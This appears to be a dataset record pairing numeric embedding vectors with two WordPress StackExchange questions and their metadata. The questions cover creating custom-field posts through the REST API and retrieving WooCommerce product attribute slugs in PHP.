0.0374755859375, -0.08660888671875, -0.00029277801513671875, 0.004154205322265625, -0.0017547607421875, 0.013275146484375, -0.00937652587890625, -0.0254058837890625, -0.046356201171875, 0.06097412109375, -0.0257110595703125, 0.005950927734375, 0.032623291015625, -0.0096893310546875, -0.02374267578125, -0.0241851806640625, -0.00713348388671875, 0.0070648193359375, -0.05352783203125, 0.006832122802734375, 0.03863525390625, -0.0157012939453125, -0.0246429443359375, 0.04254150390625, -0.01477813720703125, 0.011077880859375, -0.0088653564453125, 0.034912109375, 0.0169677734375, -0.0286102294921875, -0.028472900390625, 0.0149078369140625, 0.042022705078125, 0.035888671875, -0.019500732421875, -0.006099700927734375, 0.009521484375, 0.049072265625, -0.0022869110107421875, 0.002971649169921875, 0.01611328125, -0.00191497802734375, -0.0181121826171875, 0.0150146484375, -0.0211944580078125, -0.029998779296875, -0.019989013671875, 0.0401611328125, 0.0718994140625, 0.05078125, -0.0621337890625, 0.04864501953125, -0.0008616447448730469, -0.04901123046875, -0.01479339599609375, 0.04083251953125, -0.06585693359375, -0.027191162109375, 0.00737762451171875, -0.00835418701171875, -0.0390625, -0.0245208740234375, -0.044525146484375, 0.1162109375, -0.0207977294921875, 0.014190673828125, 0.046539306640625, 0.039215087890625, -0.06024169921875, -0.0042572021484375, -0.028564453125, 0.037689208984375, -0.0251922607421875, 0.024810791015625, -0.041473388671875, 0.01482391357421875, -0.01084136962890625, 0.01120758056640625, 0.036529541015625, 0.004154205322265625, 0.02191162109375, 0.0161285400390625, 0.056610107421875, 0.0156097412109375, -0.0159149169921875, 0.005817413330078125, -0.0110626220703125, 0.0259552001953125, 0.0289459228515625, -0.033935546875, 0.025848388671875, -0.0292510986328125, -0.0379638671875, 0.00890350341796875, -0.00995635986328125, -0.019134521484375, 0.0260009765625, 0.0377197265625, -0.045745849609375, 0.014923095703125, 0.0281982421875, -0.0189971923828125, -0.030975341796875, 0.033172607421875, 0.01024627685546875, 0.00348663330078125, 0.00388336181640625, -0.033538818359375, 0.038299560546875, -0.001796722412109375, -0.01053619384765625, -0.029693603515625, 0.0020885467529296875, -0.00884246826171875, -0.03973388671875, -0.01003265380859375, 0.0389404296875, -0.046661376953125, 0.03607177734375, 0.0017824172973632812, 0.0149993896484375, -0.0220184326171875, 0.049072265625, -0.016571044921875, 0.0237884521484375, -0.03936767578125, -0.034423828125, 0.023345947265625, 0.02691650390625, -0.00827789306640625, 0.03326416015625, 0.045806884765625, 0.005512237548828125, 0.020782470703125, 0.0110931396484375, -0.012847900390625, 0.01824951171875, -0.005153656005859375, 0.004726409912109375, 0.0180511474609375, 0.003734588623046875, 0.02642822265625, -0.03643798828125, 0.037109375, 0.012664794921875, 0.01247406005859375, -0.0223541259765625, 0.06671142578125, -0.0102996826171875, 0.010284423828125, -0.031951904296875, 0.0426025390625, 0.0233001708984375, 0.0257415771484375, -0.015899658203125, 0.00988006591796875, 0.01103973388671875, 0.01197052001953125, -0.01082611083984375, -0.006992340087890625, 0.034576416015625, 0.05670166015625, -0.00927734375, -0.00942230224609375, 0.033416748046875, -0.0135498046875, 0.035125732421875, -0.053863525390625, 0.03143310546875, -0.01499176025390625, -0.0033817291259765625, -0.0179901123046875, 0.0171051025390625, 0.00690460205078125, -0.02447509765625, 0.04638671875, -0.004383087158203125, 0.0108489990234375, 0.01325225830078125, -0.010650634765625, 0.003925323486328125, 0.00780487060546875, -0.09185791015625, -0.017059326171875, -0.044708251953125, -0.0254974365234375, 0.0153045654296875, 0.03924560546875, -0.034454345703125, 0.03582763671875, 0.00226593017578125, -0.0254669189453125, 0.03704833984375, -0.010955810546875, -0.003887176513671875, 0.035675048828125, 0.0210418701171875, 0.0007562637329101562, -0.04974365234375, -0.0291900634765625, -0.04217529296875, 0.05255126953125, 0.01715087890625, 0.0733642578125, -0.0305633544921875, 0.035064697265625, 0.0172882080078125, -0.0017557144165039062, -0.004650115966796875, -0.00685882568359375, 0.05133056640625, -0.016693115234375, -0.016937255859375, -0.007350921630859375, -0.0579833984375, 0.0016527175903320312, 0.028533935546875, 0.0011959075927734375, -0.0130157470703125, 0.0030651092529296875, 0.023284912109375, 0.0243988037109375, 0.0196533203125, -0.018310546875, -0.048980712890625, -0.03900146484375, 0.019287109375, 0.0105133056640625, 0.035308837890625, -0.01165008544921875, -0.01212310791015625, -0.015869140625, -0.0303497314453125, -0.0173492431640625, 0.036102294921875, -0.06927490234375, 0.0172271728515625, 0.03594970703125, -0.060333251953125, 0.0270538330078125, -0.0172271728515625, -0.006557464599609375, 0.017333984375, 0.07183837890625, 0.008270263671875, -0.061492919921875, 0.01666259765625, 0.01013946533203125, 0.004657745361328125, -0.04144287109375, -0.0038433074951171875, 0.0863037109375, -0.0169525146484375, -0.019866943359375, -0.046112060546875, -0.0276336669921875, -0.065185546875, 0.006557464599609375, 0.00962066650390625, -0.01453399658203125, -0.01084136962890625, 0.00748443603515625, 0.0350341796875, 0.0294647216796875, -0.01038360595703125, -0.044708251953125, 0.00537872314453125, -0.044281005859375, 0.0892333984375, -0.007160186767578125, -0.036376953125, 0.01557159423828125, 0.0162200927734375, -0.029632568359375, -0.0201416015625, -0.028106689453125, 0.0062408447265625, -0.0175018310546875, 0.0281982421875, 0.0692138671875, -0.01898193359375, -0.0075531005859375, 0.0268096923828125, -0.0054168701171875, 0.0870361328125, -0.054779052734375, 0.0013027191162109375, 0.03765869140625, -0.0232086181640625, -0.0163726806640625, -0.07159423828125, 0.0036640167236328125, -0.0732421875, -0.01305389404296875, -0.015594482421875, -0.0178375244140625, -0.0012493133544921875, -0.050079345703125, -0.053558349609375, -0.006473541259765625, 0.009185791015625, -0.040496826171875, -0.05035400390625, 0.01605224609375, -0.01036834716796875, 0.035919189453125, -0.0028896331787109375, -0.021697998046875, -0.01212310791015625, 0.030914306640625, 0.004955291748046875, 0.048797607421875, 0.003875732421875, 0.005825042724609375, -0.048736572265625, 0.005184173583984375, -0.0265960693359375, 0.036956787109375, -0.0191192626953125, 0.01009368896484375, -0.0244140625, 0.01287841796875, -0.02655029296875, -0.058868408203125, -0.00733184814453125, 0.0067138671875, -0.027862548828125, -0.043914794921875, 0.0181121826171875, 0.0174560546875, 0.053253173828125, 0.03076171875, 0.0034008026123046875, -0.046600341796875, -0.077392578125, -0.0243072509765625, 0.0009026527404785156, -0.0028781890869140625, 0.0260772705078125, -0.0889892578125, 0.01078033447265625, 0.010406494140625, -0.0189208984375, -0.011749267578125, -0.0250091552734375, -0.058868408203125, 0.0067901611328125, -0.0254364013671875, 0.021026611328125, -0.039337158203125, -0.034027099609375, 0.040863037109375, -0.01983642578125, -0.007213592529296875, -0.0026340484619140625, 0.03240966796875, 0.0031681060791015625, 0.01212310791015625, 0.004817962646484375, 0.067138671875, -0.042205810546875, -0.000232696533203125, 0.007686614990234375, 0.0286407470703125, -0.0258331298828125, 0.00811004638671875, 0.024749755859375, 0.0258636474609375, -0.034088134765625, 0.004695892333984375, 0.0030117034912109375, 0.042694091796875, -0.045684814453125, 0.0994873046875, 0.0210723876953125, 0.04888916015625, 0.0212249755859375, 0.031402587890625, -0.020721435546875, -0.0199127197265625, -0.00777435302734375, -0.055328369140625, 0.005153656005859375, -0.014984130859375, 0.046722412109375, -0.03472900390625, 0.0267486572265625, -0.0177154541015625, 0.027191162109375, 0.0276336669921875 ]
bccf97c791377675d7255974ab8702868b8f790e
Wordpress Stackexchange Q: Rest API and Custom Fields how can I create a new post post (custom type, with custom fields) on the front end using rest api and an http request? Is this even currently possible to create a new post with custom fields through a POST request? I cant seem to find a solid either way. I have been developing a site using the core rest api. I have a custom post type that's using custom fields. I have the custom fields registered in the functions.php with a get_callback and update_callback. Currently I can GET results fine, and I can POST a new custom post but only the title. Any input for the custom fields is not passed to the server, they just go no where. So is this possible? I can post the code I'm using but I just wanted to check first. Thanks
Q: Rest API and Custom Fields how can I create a new post post (custom type, with custom fields) on the front end using rest api and an http request? Is this even currently possible to create a new post with custom fields through a POST request? I cant seem to find a solid either way. I have been developing a site using the core rest api. I have a custom post type that's using custom fields. I have the custom fields registered in the functions.php with a get_callback and update_callback. Currently I can GET results fine, and I can POST a new custom post but only the title. Any input for the custom fields is not passed to the server, they just go no where. So is this possible? I can post the code I'm using but I just wanted to check first. Thanks
wordpress
{ "language": "en", "length": 145, "provenance": "stackexchange_00019.jsonl.gz:487677", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308502" }
[ 0.0291595458984375, -0.023406982421875, 0.0025539398193359375, -0.01152801513671875, -0.024810791015625, -0.00734710693359375, 0.004833221435546875, -0.0124053955078125, -0.03271484375, -0.01617431640625, -0.01152801513671875, 0.0172271728515625, -0.04583740234375, -0.0369873046875, 0.03729248046875, -0.04974365234375, 0.036376953125, 0.006595611572265625, 0.044647216796875, -0.024505615234375, 0.0286407470703125, -0.01406097412109375, 0.040618896484375, 0.056610107421875, 0.02410888671875, 0.023223876953125, -0.0244598388671875, -0.0147552490234375, 0.01059722900390625, -0.0033321380615234375, 0.0171661376953125, -0.01541900634765625, -0.0009870529174804688, 0.0477294921875, -0.032257080078125, -0.0022296905517578125, 0.030975341796875, 0.0165252685546875, 0.00508880615234375, 0.035552978515625, 0.0428466796875, -0.0286407470703125, 0.00957489013671875, 0.0286865234375, 0.00559234619140625, -0.0210113525390625, 0.042633056640625, -0.05303955078125, 0.0198211669921875, 0.0193023681640625, -0.006511688232421875, -0.0086212158203125, -0.002155303955078125, -0.00856781005859375, -0.01268768310546875, -0.044952392578125, -0.00042057037353515625, -0.0364990234375, 0.05328369140625, -0.05218505859375, -0.0399169921875, -0.056854248046875, 0.058013916015625, 0.022430419921875, 0.023468017578125, -0.0024566650390625, 0.039581298828125, 0.0233917236328125, -0.017120361328125, 0.02459716796875, 0.00927734375, -0.021148681640625, 0.005550384521484375, -0.010498046875, 0.005527496337890625, -0.04010009765625, 0.0166168212890625, -0.0218505859375, -0.003086090087890625, 0.027008056640625, -0.01507568359375, 0.017425537109375, 0.037078857421875, -0.051055908203125, -0.015869140625, -0.058624267578125, -0.0162353515625, 0.01125335693359375, 0.003322601318359375, -0.0198516845703125, -0.01336669921875, -0.0924072265625, -0.03363037109375, 0.07684326171875, 0.0229949951171875, -0.02294921875, 0.00841522216796875, -0.0117950439453125, 0.0231781005859375, 0.035614013671875, 0.042633056640625, -0.07366943359375, 0.0821533203125, -0.02655029296875, 0.0214691162109375, 0.01035308837890625, -0.0207061767578125, -0.0706787109375, 0.035919189453125, 0.017425537109375, -0.0156097412109375, 0.0855712890625, 0.02593994140625, 0.02337646484375, -0.06536865234375, 0.00128936767578125, 0.004726409912109375, -0.0284271240234375, -0.0178985595703125, -0.006557464599609375, -0.00727081298828125, -0.0037784576416015625, 0.0421142578125, 0.00926971435546875, 0.0290679931640625, 0.035888671875, -0.03094482421875, -0.027618408203125, 0.006359100341796875, 0.015838623046875, -0.035400390625, 0.0178375244140625, 0.05877685546875, 0.0293121337890625, 0.0205230712890625, -0.0156097412109375, 0.01263427734375, -0.0236053466796875, -0.007167816162109375, 0.0225372314453125, 0.0011186599731445312, -0.0350341796875, 0.00571441650390625, -0.006160736083984375, -0.0006299018859863281, 0.006122589111328125, 0.00995635986328125, 0.0167694091796875, -0.012237548828125, -0.03387451171875, 0.00800323486328125, -0.0038204193115234375, 0.004131317138671875, 0.028533935546875, 0.0228729248046875, -0.0066375732421875, 0.044097900390625, -0.031341552734375, 0.022369384765625, -0.025299072265625, 0.031951904296875, -0.00365447998046875, -0.01427459716796875, -0.0191192626953125, -0.035186767578125, 0.003444671630859375, -0.0203399658203125, 0.0029239654541015625, 0.0279083251953125, 0.015869140625, 0.024261474609375, -0.004344940185546875, -0.00473785400390625, 0.0023860931396484375, -0.0031795501708984375, -0.0109710693359375, 0.02386474609375, -0.0191802978515625, 0.0227203369140625, 0.0347900390625, 0.004993438720703125, -0.0237884521484375, 0.0294342041015625, 0.008056640625, -0.05938720703125, 0.06915283203125, 0.0238494873046875, 0.07940673828125, -0.00566864013671875, 0.0169830322265625, 0.033355712890625, 0.024017333984375, 0.0027790069580078125, -0.01529693603515625, -0.005527496337890625, -0.034942626953125, -0.0071258544921875, -0.0167694091796875, -0.01299285888671875, 0.031219482421875, -0.042572021484375, 0.01788330078125, -0.0132598876953125, 0.02972412109375, 0.015594482421875, -0.0081939697265625, 0.00106048583984375, 0.0254974365234375, -0.037353515625, -0.002277374267578125, 0.0300445556640625, -0.01092529296875, -0.01898193359375, -0.0084381103515625, -0.01232147216796875, -0.026519775390625, 0.01009368896484375, -0.004993438720703125, -0.003871917724609375, -0.005496978759765625, -0.00191497802734375, -0.01071929931640625, -0.0203857421875, 0.039825439453125, 0.04034423828125, -0.0201568603515625, 0.00861358642578125, -0.022369384765625, 0.0670166015625, -0.01216888427734375, 0.020843505859375, -0.00031495094299316406, 0.029327392578125, -0.00896453857421875, -0.038604736328125, -0.0016002655029296875, -0.00589752197265625, -0.051971435546875, -0.005397796630859375, 0.059600830078125, 0.021392822265625, 0.029052734375, 0.004131317138671875, 0.033355712890625, 0.037445068359375, 0.0042266845703125, 0.0244140625, -0.003734588623046875, 0.035430908203125, 0.035186767578125, -0.012420654296875, -0.032745361328125, 0.032684326171875, -0.08734130859375, 0.0203857421875, 0.035675048828125, 0.002964019775390625, -0.01812744140625, 0.00466156005859375, -0.016998291015625, 0.0245513916015625, -0.033599853515625, -0.05133056640625, 0.001194000244140625, 0.022796630859375, 0.0290679931640625, 0.0518798828125, 0.056182861328125, -0.027008056640625, 0.004749298095703125, 0.0134429931640625, 0.031036376953125, -0.00563812255859375, -0.00963592529296875, 0.01275634765625, 0.0167694091796875, -0.0301361083984375, -0.005397796630859375, 0.038482666015625, -0.0055694580078125, -0.01483917236328125, 0.005397796630859375, -0.039031982421875, -0.0099945068359375, 0.0091552734375, -0.061187744140625, -0.0031528472900390625, 0.0131683349609375, 0.0357666015625, 0.018402099609375, 0.0278778076171875, 0.023712158203125, -0.0113983154296875, 0.039764404296875, 0.035980224609375, -0.01129150390625, -0.033721923828125, -0.0538330078125, 0.07073974609375, -0.051788330078125, -0.0169677734375, 0.07171630859375, -0.010498046875, 0.033416748046875, -0.00042819976806640625, 0.0236663818359375, -0.01071929931640625, 0.04620361328125, 0.0261077880859375, -0.0802001953125, 0.031646728515625, 0.01485443115234375, 0.040802001953125, 0.0592041015625, 0.024871826171875, -0.022674560546875, 0.017364501953125, 0.05908203125, -0.0285491943359375, -0.0537109375, 0.058685302734375, -0.033172607421875, -0.0160675048828125, -0.044464111328125, -0.02545166015625, -0.00797271728515625, -0.03851318359375, -0.0183563232421875, 0.007686614990234375, -0.0139312744140625, -0.0273284912109375, -0.017486572265625, -0.055145263671875, -0.026763916015625, 0.0010967254638671875, -0.00943756103515625, 0.006076812744140625, 0.061553955078125, 0.00006383657455444336, -0.03155517578125, 0.0004038810729980469, 0.01102447509765625, -0.005298614501953125, -0.000339508056640625, 0.02923583984375, -0.01194000244140625, 0.0506591796875, 0.007106781005859375, 0.0161895751953125, 0.06134033203125, -0.04345703125, -0.039642333984375, -0.04547119140625, 0.0018491744995117188, -0.032562255859375, 0.0272979736328125, 0.04498291015625, -0.0245208740234375, -0.01284027099609375, -0.057281494140625, -0.028961181640625, 0.00473785400390625, -0.023406982421875, -0.0185546875, -0.004650115966796875, 0.0013113021850585938, -0.04107666015625, 0.07196044921875, -0.0021343231201171875, 0.0005779266357421875, 0.02056884765625, -0.02740478515625, 0.0399169921875, -0.006183624267578125, -0.0168304443359375, -0.0195159912109375, 0.03411865234375, -0.002254486083984375, -0.0021762847900390625, 0.004825592041015625, -0.00466156005859375, -0.040618896484375, 0.0223388671875, -0.06842041015625, -0.08831787109375, 0.050262451171875, -0.03167724609375, 0.0083465576171875, -0.009735107421875, -0.017059326171875, 0.041717529296875, 0.11993408203125, -0.0234222412109375, -0.005855560302734375, -0.002452850341796875, 0.0085296630859375, -0.0211944580078125, -0.0435791015625, -0.04278564453125, -0.022003173828125, 0.0011796951293945312, -0.00011301040649414062, 0.006786346435546875, -0.0181884765625, -0.0288543701171875, 0.0313720703125, -0.0155487060546875, -0.00759124755859375, 0.030853271484375, -0.0458984375, 0.022674560546875, -0.01421356201171875, 0.0306243896484375, -0.05645751953125, -0.00469970703125, -0.0196380615234375, -0.06640625, 0.0006394386291503906, -0.036529541015625, 0.0251922607421875, 0.026824951171875, -0.01678466796875, 0.00939178466796875, 0.035430908203125, 0.00855255126953125, 0.0347900390625, -0.01446533203125, -0.01209259033203125, 0.020599365234375, 0.003734588623046875, 0.0029697418212890625, -0.006771087646484375, -0.0307464599609375, -0.0081787109375, 0.0130157470703125, 0.05682373046875, -0.0138092041015625, -0.0160980224609375, -0.01885986328125, -0.0160064697265625, -0.01047515869140625, -0.017303466796875, -0.02667236328125, 0.003173828125, -0.03515625, 0.0096282958984375, -0.01488494873046875, -0.034271240234375, 0.004650115966796875, -0.01226043701171875, -0.01934814453125, 0.0261688232421875, 0.06298828125, 0.0156402587890625, 0.0025386810302734375, -0.09600830078125, 0.005908966064453125, 0.03656005859375, -0.00911712646484375, 0.00876617431640625, -0.0184173583984375, -0.036407470703125, 0.06390380859375, -0.013336181640625, 0.0036754608154296875, 0.003040313720703125, 0.00817108154296875, 0.01149749755859375, -0.01248931884765625, 0.004306793212890625, 0.0183563232421875, 0.0022907257080078125, 0.001041412353515625, -0.0275421142578125, 0.01328277587890625, 0.00231170654296875, 0.01800537109375, -0.04736328125, 0.042755126953125, -0.007266998291015625, -0.07373046875, 0.049713134765625, -0.03564453125, -0.0221099853515625, -0.033935546875, 0.014801025390625, 0.0096893310546875, -0.0450439453125, 0.0291900634765625, -0.045654296875, -0.0229644775390625, -0.037139892578125, 0.0474853515625, -0.044189453125, 0.0104522705078125, -0.0023097991943359375, -0.00958251953125, 0.07965087890625, -0.019073486328125, -0.076904296875, 0.0066680908203125, -0.0277099609375, 0.032196044921875, 0.0298919677734375, -0.00604248046875, 0.0156402587890625, 0.050018310546875, 0.0074310302734375, 0.01629638671875, 0.0174102783203125, 0.02935791015625, -0.019256591796875, 0.0251007080078125, 0.0157928466796875, -0.01690673828125, -0.040985107421875, 0.059417724609375, 0.0212554931640625, 0.0083770751953125, -0.01715087890625, 0.061767578125, 0.035675048828125, 0.0289154052734375, 0.007091522216796875, 0.0128631591796875, 0.0008440017700195312, 0.00223541259765625, -0.045257568359375, -0.034210205078125, -0.01519775390625, 0.0093841552734375, 0.045623779296875, -0.006580352783203125, -0.0213775634765625, 0.0308685302734375, -0.02911376953125, -0.00142669677734375, -0.035491943359375, -0.02081298828125, -0.0030117034912109375, 0.0006070137023925781, 0.0143280029296875, 0.00806427001953125, 0.01442718505859375, -0.0113677978515625, 0.00469207763671875, -0.01248931884765625, 0.055908203125, -0.0701904296875, 0.044647216796875, 0.01119232177734375, -0.002716064453125, -0.0175933837890625, -0.0390625, -0.01380157470703125, -0.0036106109619140625, 0.0040130615234375, -0.0167236328125, -0.03338623046875, 0.0255279541015625, -0.006816864013671875, -0.0026092529296875, -0.028289794921875, 0.0233001708984375, -0.0174713134765625, 0.0030612945556640625, 0.025360107421875, -0.01122283935546875, 0.021575927734375, -0.00958251953125, -0.049560546875, -0.040252685546875, 0.02081298828125, -0.00579071044921875, -0.0225830078125, -0.01200103759765625, 0.040283203125, 0.03265380859375, -0.0003075599670410156, -0.04888916015625, 0.00710296630859375, -0.005397796630859375, 0.0045166015625, 0.005748748779296875, -0.0185089111328125, 0.053863525390625, -0.012481689453125, 0.0732421875, 0.00566864013671875, 0.0166015625, -0.0171966552734375, -0.02667236328125, -0.015472412109375, -0.0985107421875, -0.0301513671875, 0.01003265380859375, -0.041015625, 0.0966796875, 0.045745849609375, 0.00940704345703125, 0.01021575927734375, -0.0142822265625, 0.0110015869140625, -0.0235443115234375, 0.0292816162109375, -0.0212249755859375, -0.00882720947265625, 0.0019664764404296875, 0.002170562744140625, 0.024200439453125, -0.0006566047668457031, -0.02215576171875, 0.01122283935546875, 0.00827789306640625, 0.0275726318359375, -0.006855010986328125, -0.021759033203125, 0.0216522216796875, 0.06878662109375, -0.004817962646484375, 0.054443359375, 0.001888275146484375, 0.00980377197265625, 0.053466796875, 0.026641845703125, -0.0445556640625, -0.0279693603515625, 0.0226898193359375, 0.01300811767578125, -0.0278167724609375, 0.00611114501953125, -0.0209197998046875, 0.030975341796875, 0.032928466796875, 0.07330322265625, -0.08367919921875, 0.036163330078125, 0.02227783203125, -0.002887725830078125, 0.034515380859375, 0.012237548828125, 0.004848480224609375, -0.01477813720703125, -0.0007448196411132812, -0.0278167724609375, -0.026092529296875, -0.0092620849609375, -0.0136260986328125, 0.00815582275390625, -0.00304412841796875, 0.04290771484375, 0.0093536376953125, 0.017791748046875, -0.0040435791015625, -0.02850341796875, 0.035064697265625, -0.00188446044921875, 0.0184326171875, -0.0031757354736328125, -0.01540374755859375, -0.038299560546875, 0.020965576171875, -0.0238494873046875, -0.00995635986328125, 0.0160064697265625, 0.01209259033203125, 0.0263671875, 0.060638427734375, -0.01045989990234375, 0.01496124267578125, 0.0192718505859375, 0.0172271728515625, -0.054443359375, -0.040283203125, 0.00426483154296875, 0.02630615234375, -0.01226806640625, 0.03521728515625, 0.004878997802734375, -0.038665771484375, -0.011383056640625, -0.01421356201171875, 0.074951171875, -0.0285797119140625, -0.0231475830078125, 0.00595855712890625, 0.01470947265625, 0.01788330078125, -0.0126190185546875, -0.0254669189453125, -0.0266571044921875, 0.02252197265625, -0.03179931640625, -0.01027679443359375, 0.043914794921875, -0.01424407958984375, -0.0557861328125, 0.10638427734375, 0.0182342529296875, 0.00749969482421875, -0.00394439697265625, 0.050750732421875, -0.0292205810546875, 0.028961181640625, -0.03314208984375, 0.04132080078125, 0.00823974609375, 0.0306243896484375, -0.047119140625, -0.01641845703125, 0.0006651878356933594, 0.034271240234375, 0.057952880859375, 0.009185791015625, 0.007427215576171875, -0.0183258056640625, 0.0308074951171875, 0.01123809814453125, -0.032196044921875, 0.026611328125, 0.01065826416015625, 0.0208282470703125, 0.062469482421875, -0.0031528472900390625, 0.0350341796875, 0.02276611328125, -0.01161956787109375, 0.0298309326171875, 0.021331787109375, 0.0179901123046875, 0.0218353271484375, -0.00954437255859375, -0.004512786865234375, 0.004673004150390625, 0.00795745849609375, 0.01392364501953125, -0.02362060546875, 0.0533447265625, 0.031768798828125, -0.024169921875, 0.0235443115234375, -0.045318603515625, 0.050537109375, 0.01666259765625, 0.056976318359375, -0.0156707763671875, 0.0282440185546875, 0.006866455078125, -0.01885986328125, 0.029632568359375, 0.044464111328125, -0.08135986328125, 0.040618896484375, 0.0175628662109375, 0.0178680419921875, -0.062164306640625, -0.0155029296875, 0.0208282470703125, 0.0694580078125, -0.0447998046875, -0.0049285888671875, 0.00878143310546875, 0.0211334228515625, 0.0226593017578125, -0.0189208984375, 0.06256103515625, -0.006092071533203125, -0.006206512451171875, -0.053802490234375, 0.041412353515625, 0.031768798828125, 0.030975341796875, -0.00664520263671875, 0.0274658203125, -0.09100341796875, 0.0087127685546875, -0.03607177734375, -0.0418701171875, 0.00853729248046875, 0.07867431640625, 0.0723876953125, 0.004566192626953125, -0.0220184326171875, -0.04541015625, 0.027496337890625, -0.007282257080078125, 0.019256591796875, -0.038299560546875, 0.04302978515625, -0.0184783935546875, 0.015045166015625, 0.01319122314453125, -0.016876220703125, 0.052337646484375, 0.0426025390625, 0.0304107666015625, -0.00036144256591796875, -0.0225067138671875, 0.0200042724609375, -0.03717041015625, -0.03802490234375, -0.01328277587890625, -0.0770263671875, 0.00797271728515625, -0.0214080810546875, 0.029083251953125, -0.0250244140625, 0.01457977294921875, 0.0019369125366210938, 0.042083740234375, 0.0004677772521972656, -0.022308349609375, 0.045166015625, -0.0290069580078125, 0.0909423828125, 0.00899505615234375, -0.03387451171875, 0.007289886474609375, -0.0273284912109375, -0.078369140625, 0.004383087158203125, 0.03668212890625, -0.033477783203125, 0.032470703125, -0.0056915283203125, -0.01450347900390625, 0.0081329345703125, -0.0126190185546875, 0.0264129638671875, 0.003131866455078125, -0.006511688232421875, 0.01026153564453125, -0.09051513671875, -0.04559326171875, -0.0233612060546875, 0.0249786376953125, -0.004302978515625, 0.050994873046875, 0.0163726806640625, 0.01284027099609375, -0.0396728515625, 0.0253448486328125, -0.04266357421875, -0.0308990478515625, 0.0180511474609375, 0.018798828125, 0.00162506103515625, 0.0105743408203125, -0.021148681640625, 0.0241241455078125, 0.01421356201171875, -0.018585205078125, 0.01788330078125, -0.035858154296875, 0.0171966552734375, -0.0005679130554199219, -0.005489349365234375, -0.04486083984375, -0.0005917549133300781, -0.010589599609375, -0.0222320556640625, 0.0023956298828125, -0.031768798828125, 0.01020050048828125, 0.038818359375, 0.0335693359375, -0.0248565673828125, 0.0275726318359375, -0.051971435546875, 0.0606689453125, 0.0489501953125, 0.01314544677734375, -0.007534027099609375, -0.01334381103515625, -0.0265045166015625, 0.004169464111328125, 0.00267791748046875, 0.0148773193359375, 0.0008463859558105469, 0.0083160400390625, -0.0214080810546875, 0.01055145263671875, 0.0252838134765625, -0.01515960693359375, 0.01165771484375, -0.014556884765625, -0.00859832763671875, 0.00905609130859375, -0.0089263916015625, -0.00540924072265625, -0.042449951171875, -0.006740570068359375, 0.0169219970703125, -0.01366424560546875, -0.00878143310546875, -0.003841400146484375, -0.004364013671875, 0.01617431640625, -0.0166015625, -0.01206207275390625, -0.01515960693359375, -0.01898193359375, 0.0251007080078125, -0.0160369873046875, -0.0274810791015625, 0.04241943359375, 0.08978271484375, -0.024444580078125, 0.002773284912109375, 0.013214111328125, -0.03662109375, 0.0164337158203125, 0.01329803466796875, 0.0220489501953125, -0.0161590576171875, -0.024169921875, 0.00807952880859375, 0.009552001953125, 0.038604736328125, 0.0194549560546875, 0.0002551078796386719, 0.006191253662109375, -0.01192474365234375, -0.037445068359375, -0.03369140625, 0.048248291015625, -0.07147216796875, -0.0478515625, -0.0701904296875, 0.06591796875, 0.05938720703125, -0.0087432861328125, -0.085205078125, 0.0117340087890625, -0.042724609375, -0.0360107421875, -0.0787353515625, -0.00035643577575683594, 0.01471710205078125, 0.013519287109375, -0.019927978515625, -0.028961181640625, -0.040008544921875, 0.0261383056640625, -0.0016126632690429688, 0.04461669921875, 0.0272216796875, -0.00891876220703125, -0.03619384765625, 0.005126953125, -0.001300811767578125, 0.0191192626953125, 0.032135009765625, -0.0092010498046875, 0.00789642333984375, 0.022186279296875, -0.06634521484375, -0.01543426513671875, -0.05517578125, 0.03973388671875, -0.038665771484375, -0.03680419921875, -0.021026611328125, -0.0169677734375, 0.05938720703125, 0.0858154296875, 0.01025390625, -0.0423583984375, 0.00848388671875, -0.017730712890625, -0.0188751220703125, -0.013031005859375, -0.00473785400390625, -0.0343017578125, -0.0083770751953125, -0.00021076202392578125, 0.0173492431640625, 0.00933837890625, -0.01898193359375, 0.023406982421875, -0.02288818359375, 0.02716064453125, -0.0212860107421875, 0.0113067626953125, 0.00731658935546875, 0.053009033203125, -0.03662109375, 0.011871337890625, -0.01215362548828125, 0.015716552734375, 0.0178375244140625, -0.021026611328125, 0.001224517822265625, -0.035003662109375, -0.004398345947265625, 0.02978515625, -0.00864410400390625, 0.020782470703125, -0.0215606689453125, -0.033966064453125, -0.0030002593994140625, 0.02947998046875, 0.0063629150390625, 0.020050048828125, -0.03448486328125, 0.056915283203125, -0.00020253658294677734, 0.0660400390625, -0.01019287109375, -0.034088134765625, -0.02423095703125, 0.0304107666015625, -0.024261474609375, 0.0003216266632080078, 0.0017852783203125, -0.0242156982421875, -0.006290435791015625, 0.004261016845703125, -0.0254669189453125, -0.0249481201171875, 0.007114410400390625, 0.05426025390625, -0.016693115234375, 0.009765625 ]
f61068992a93147f133a0396a0af54b7049a9882
Wordpress Stackexchange Q: how to get woocommerce product attribute slug I am trying to get product attribute slug. I have used below code but it display name. echo $_product->get_attribute( 'pa_color' ); I am working on woocommerce/cart/cart.php file in theme folder. Also I checked this is coming in anchor url of product image in cart page but not getting it anchor url: https://example.com/productos/sweatshirt/?attribute_pa_color=aa2757&attribute_pa_talla=m I am working on this from today morning but I have not get success. Please guide. A: I got this.... To get slug use: $attributes = $_product->get_attributes(); $pa_color = $attributes["pa_color"]; Thanks to all for helping me.
Q: how to get woocommerce product attribute slug I am trying to get product attribute slug. I have used below code but it display name. echo $_product->get_attribute( 'pa_color' ); I am working on woocommerce/cart/cart.php file in theme folder. Also I checked this is coming in anchor url of product image in cart page but not getting it anchor url: https://example.com/productos/sweatshirt/?attribute_pa_color=aa2757&attribute_pa_talla=m I am working on this from today morning but I have not get success. Please guide. A: I got this.... To get slug use: $attributes = $_product->get_attributes(); $pa_color = $attributes["pa_color"]; Thanks to all for helping me. A: $att=$_product->get_attribute('pa_color'); $values = wc_get_product_terms( $product->id, 'pa_color', array( 'fields' => 'all' ) ); foreach($values as $val){ echo "<pre>"; var_dump($val->slug); echo "</pre>"; } A: Use next: $attribute->get_name()
wordpress
{ "language": "en", "length": 122, "provenance": "stackexchange_00019.jsonl.gz:487695", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308552" }
